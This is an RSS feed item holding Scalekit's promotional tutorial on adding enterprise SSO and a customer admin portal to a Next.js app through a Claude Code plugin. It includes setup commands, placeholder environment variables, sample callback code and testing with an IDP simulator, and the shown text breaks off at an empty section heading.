<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Scalekit Inc</title>
    <description>The latest articles on Forem by Scalekit Inc (@scalekit-inc).</description>
    <link>https://forem.com/scalekit-inc</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Forganization%2Fprofile_image%2F9274%2Fccba0584-6e3b-4c00-8c89-609f4feb2a3e.png</url>
      <title>Forem: Scalekit Inc</title>
      <link>https://forem.com/scalekit-inc</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/scalekit-inc"/>
    <language>en</language>
    <item>
      <title>Add Enterprise SSO to Your Next.js App in Minutes Using Claude Code &amp; Scalekit</title>
      <dc:creator>Saif </dc:creator>
      <pubDate>Tue, 24 Mar 2026 04:13:07 +0000</pubDate>
      <link>https://forem.com/scalekit-inc/add-enterprise-sso-to-your-nextjs-app-in-minutes-using-claude-code-scalekit-5edg</link>
      <guid>https://forem.com/scalekit-inc/add-enterprise-sso-to-your-nextjs-app-in-minutes-using-claude-code-scalekit-5edg</guid>
      <description>&lt;p&gt;&lt;strong&gt;The old way&lt;/strong&gt;: Spend hours reading OAuth documentation, configuring SAML endpoints, building login flows, handling token validation, and creating admin portals for your enterprise customers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The new way&lt;/strong&gt;: Describe what you want in plain English. Let Claude Code and Scalekit's plugin do the rest.&lt;/p&gt;

&lt;p&gt;This guide shows you how to add production-ready enterprise Single Sign-On to a Next.js application using Claude Code's plugin ecosystem—going from zero to a working SSO flow with customer self-service portal in under 10 minutes.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/6KxtXKbMvHQ"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;What You're Building&lt;/li&gt;
&lt;li&gt;Understanding the Plugin Architecture&lt;/li&gt;
&lt;li&gt;Prerequisites&lt;/li&gt;
&lt;li&gt;Step-by-Step Implementation&lt;/li&gt;
&lt;li&gt;Testing with the IDP Simulator&lt;/li&gt;
&lt;li&gt;How It Actually Works&lt;/li&gt;
&lt;li&gt;Production Considerations&lt;/li&gt;
&lt;li&gt;Alternative: Using Other AI Coding Agents&lt;/li&gt;
&lt;li&gt;Why This Matters&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  What You're Building
&lt;/h2&gt;

&lt;p&gt;By the end of this guide, you'll have:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Enterprise SSO Authentication Flow&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Users enter their work email (&lt;code&gt;user@company.com&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Automatic redirect to their organization's identity provider (Microsoft Entra ID, Okta, Google Workspace, etc.)&lt;/li&gt;
&lt;li&gt;Secure callback handling with token validation&lt;/li&gt;
&lt;li&gt;Session creation with verified user identity&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. Self-Service Admin Portal&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your B2B customers configure their own IDP connections&lt;/li&gt;
&lt;li&gt;No engineering involvement needed for enterprise onboarding&lt;/li&gt;
&lt;li&gt;Support for SAML and OIDC protocols&lt;/li&gt;
&lt;li&gt;Real-time connection status monitoring&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;3. Production-Ready Code&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Environment-based configuration&lt;/li&gt;
&lt;li&gt;Proper error handling&lt;/li&gt;
&lt;li&gt;Security best practices baked in&lt;/li&gt;
&lt;li&gt;Next.js App Router patterns&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Understanding the Plugin Architecture
&lt;/h2&gt;

&lt;p&gt;Before we dive in, let's understand what makes this possible.&lt;/p&gt;

&lt;h3&gt;
  
  
  What Are Claude Code Plugins?
&lt;/h3&gt;

&lt;p&gt;Claude Code plugins are &lt;strong&gt;packaged bundles of capabilities&lt;/strong&gt; that extend what Claude can do. Think of them as specialized skill packs that teach Claude how to work with specific services, frameworks, or patterns.&lt;/p&gt;

&lt;p&gt;A plugin can contain:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Skills&lt;/strong&gt;: Context-aware instruction sets Claude automatically uses when relevant&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MCP Servers&lt;/strong&gt;: Connections to external APIs and services via Model Context Protocol&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Commands&lt;/strong&gt;: Slash commands you invoke manually (e.g., &lt;code&gt;/deploy&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Subagents&lt;/strong&gt;: Specialized AI agents for specific tasks (e.g., security review)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hooks&lt;/strong&gt;: Scripts that run on specific events (pre-commit, post-deployment)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  How Scalekit's Plugin Works
&lt;/h3&gt;

&lt;p&gt;The Scalekit Auth Stack plugin gives Claude Code:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Documentation Access&lt;/strong&gt;: Real-time access to Scalekit's implementation guides via MCP&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;API Integration&lt;/strong&gt;: Ability to query your Scalekit environment, retrieve config, manage connections&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Implementation Patterns&lt;/strong&gt;: Battle-tested code patterns for SSO flows, session management, and security&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Framework Knowledge&lt;/strong&gt;: How to properly integrate with Next.js, Express, FastAPI, and other frameworks&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;When you ask Claude to "add SSO," it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reads your existing codebase structure&lt;/li&gt;
&lt;li&gt;Pulls relevant Scalekit documentation&lt;/li&gt;
&lt;li&gt;Queries your Scalekit environment via MCP&lt;/li&gt;
&lt;li&gt;Generates complete, working code that follows your project's patterns&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Required:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A Next.js application (even a fresh &lt;code&gt;create-next-app&lt;/code&gt; works)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://code.claude.com/docs/en/quickstart" rel="noopener noreferrer"&gt;Claude Code installed&lt;/a&gt; and configured&lt;/li&gt;
&lt;li&gt;A &lt;a href="https://scalekit.com" rel="noopener noreferrer"&gt;Scalekit account&lt;/a&gt; with dashboard access&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;You'll need from Scalekit:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Environment URL (e.g., &lt;code&gt;https://yourenv.scalekit.com&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Client ID (from your Scalekit dashboard)&lt;/li&gt;
&lt;li&gt;Client Secret (generate in dashboard, keep secure)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Time investment:&lt;/strong&gt; ~10 minutes&lt;/p&gt;




&lt;h2&gt;
  
  
  Step-by-Step Implementation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1: Install the Scalekit Plugin
&lt;/h3&gt;

&lt;p&gt;Open your terminal and start the Claude Code REPL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;claude
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Add the Scalekit Auth Stack marketplace:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/plugin marketplace add scalekit-inc/claude-code-authstack
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should see confirmation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;❯ /plugin marketplace add scalekit-inc/claude-code-authstack

⎿  Successfully added marketplace: scalekit-auth-stack
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now install the Modular SSO plugin:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/plugin &lt;span class="nb"&gt;install &lt;/span&gt;modular-sso@scalekit-auth-stack
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What just happened?&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Claude Code now has access to Scalekit's SSO implementation knowledge&lt;/li&gt;
&lt;li&gt;The plugin includes MCP servers that can query your Scalekit environment&lt;/li&gt;
&lt;li&gt;Skills are loaded that guide code generation for auth flows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Verify installation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/plugins
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should see &lt;code&gt;modular-sso&lt;/code&gt; in your installed plugins list.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Navigate to Your Project
&lt;/h3&gt;

&lt;p&gt;Exit the REPL (&lt;code&gt;Ctrl+D&lt;/code&gt; or &lt;code&gt;exit&lt;/code&gt;) and navigate to your Next.js project:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /path/to/your-nextjs-app
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Start Claude Code in your project:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;claude
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 3: Give Claude the Objective
&lt;/h3&gt;

&lt;p&gt;Here's where the magic happens. Paste this prompt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;My goal is to add SSO to my application and also let my customers 
configure SSO connections with their IDP using an admin portal.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Watch Claude work:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Skill Detection&lt;/strong&gt;: Claude automatically identifies the Modular SSO skill is relevant&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Codebase Analysis&lt;/strong&gt;: Reads your &lt;code&gt;package.json&lt;/code&gt;, route structure, and existing patterns&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Documentation Retrieval&lt;/strong&gt;: Fetches Scalekit's implementation guide via MCP&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Environment Discovery&lt;/strong&gt;: Queries your Scalekit account to get environment details&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Code Generation&lt;/strong&gt;: Creates all necessary files following Next.js conventions&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;You'll see output like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Loading skill: Modular SSO
Analyzing project structure...
Reading Next.js configuration...
Fetching Scalekit environment configuration...
Found environment: https://yourenv.scalekit.com
Retrieved Client ID: sk_live_...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 4: Approve the Redirect URI
&lt;/h3&gt;

&lt;p&gt;Claude will ask permission to configure a &lt;strong&gt;redirect URI&lt;/strong&gt; in your Scalekit environment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;I need to add a redirect URI to your Scalekit environment:
http://localhost:3000/api/auth/callback

Allow? [y/n]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Type &lt;code&gt;y&lt;/code&gt; and press Enter.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why this matters:&lt;/strong&gt;&lt;br&gt;
The redirect URI is where Scalekit sends users after they authenticate with their IDP. It must be registered for security—preventing malicious sites from receiving your auth callbacks.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 5: Add Your Client Secret
&lt;/h3&gt;

&lt;p&gt;Claude will generate a &lt;code&gt;.env.local&lt;/code&gt; file with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;SCALEKIT_ENV_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;https://yourenv.scalekit.com
&lt;span class="nv"&gt;SCALEKIT_CLIENT_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;sk_live_abc123...
&lt;span class="nv"&gt;SCALEKIT_CLIENT_SECRET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open your Scalekit dashboard, navigate to &lt;strong&gt;Settings → API Keys&lt;/strong&gt;, and generate a new Client Secret.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Copy it and add to &lt;code&gt;.env.local&lt;/code&gt;:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;SCALEKIT_CLIENT_SECRET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;sk_secret_xyz789...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security note&lt;/strong&gt;: Never commit this file. Claude should have added it to &lt;code&gt;.gitignore&lt;/code&gt; automatically.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 6: Review Generated Files
&lt;/h3&gt;

&lt;p&gt;Claude will have created:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;your-app/
├── .env.local                          # Environment configuration
├── app/
│   ├── api/
│   │   └── auth/
│   │       ├── [org]/
│   │       │   └── route.ts           # SSO initiation
│   │       └── callback/
│   │           └── route.ts           # OAuth callback handler
│   ├── login/
│   │   └── page.tsx                   # Login page with email input
│   └── sso-settings/
│       └── page.tsx                   # Admin portal for IDP config
├── lib/
│   └── scalekit.ts                    # Scalekit client initialization
└── middleware.ts                       # Session validation (optional)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key file: &lt;code&gt;lib/scalekit.ts&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;ScalekitClient&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@scalekit-sdk/node&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;scalekit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ScalekitClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SCALEKIT_ENV_URL&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SCALEKIT_CLIENT_ID&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SCALEKIT_CLIENT_SECRET&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key file: &lt;code&gt;app/api/auth/callback/route.ts&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;scalekit&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@/lib/scalekit&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;NextRequest&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;next/server&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;NextRequest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;searchParams&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nextUrl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;searchParams&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;searchParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;code&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;error&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;searchParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;error&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/login?error=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/login?error=no_code&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Exchange code for user identity&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;scalekit&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;authenticateWithCode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="nx"&gt;code&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nextUrl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/auth/callback&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// Create session with user data&lt;/span&gt;
    &lt;span class="c1"&gt;// (Implementation depends on your session strategy)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/dashboard&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Auth error:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/login?error=auth_failed&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 7: Install Dependencies
&lt;/h3&gt;

&lt;p&gt;Claude should have updated &lt;code&gt;package.json&lt;/code&gt;, but verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pnpm &lt;span class="nb"&gt;install&lt;/span&gt;
&lt;span class="c"&gt;# or npm install, or yarn install&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Testing with the IDP Simulator
&lt;/h2&gt;

&lt;p&gt;You don't need a real enterprise IDP to test this. Scalekit provides a built-in simulator.&lt;/p&gt;

&lt;h3&gt;
  
  
  Start Your Dev Server
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pnpm dev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Navigate to &lt;code&gt;http://localhost:3000&lt;/code&gt;—you should be redirected to &lt;code&gt;/login&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Use the Test Organization
&lt;/h3&gt;

&lt;p&gt;In your Scalekit dashboard:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;Organizations&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Find the &lt;strong&gt;Test Organization&lt;/strong&gt; (created by default)&lt;/li&gt;
&lt;li&gt;Note it's configured with &lt;code&gt;example.com&lt;/code&gt; as an organization domain&lt;/li&gt;
&lt;li&gt;The IDP is set to &lt;strong&gt;IDP Simulator&lt;/strong&gt; (simulates Okta/Microsoft/Google)&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Test the Flow
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;On the login page, enter: &lt;code&gt;yourname@example.com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Continue&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;You'll be redirected to the IDP Simulator (looks like a real enterprise login page)&lt;/li&gt;
&lt;li&gt;Enter any name in the form&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Simulate Login&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;What happens:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Scalekit matches &lt;code&gt;example.com&lt;/code&gt; to the Test Organization&lt;/li&gt;
&lt;li&gt;Redirects to the configured IDP (Simulator)&lt;/li&gt;
&lt;li&gt;Simulator "authenticates" the user&lt;/li&gt;
&lt;li&gt;Redirects back to your app at &lt;code&gt;/api/auth/callback?code=...&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Your app exchanges the code for user identity&lt;/li&gt;
&lt;li&gt;Session is created, user is logged in&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Check the Admin Portal
&lt;/h3&gt;

&lt;p&gt;Navigate to &lt;code&gt;http://localhost:3000/sso-settings&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You should see:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Connected Identity Providers&lt;/strong&gt; section&lt;/li&gt;
&lt;li&gt;Status of each IDP (Enabled/Disabled)&lt;/li&gt;
&lt;li&gt;Available IDPs to configure (Microsoft Entra ID, Okta, Google, etc.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is what your enterprise customers will use to self-serve their SSO configuration.&lt;/p&gt;




&lt;h2&gt;
  
  
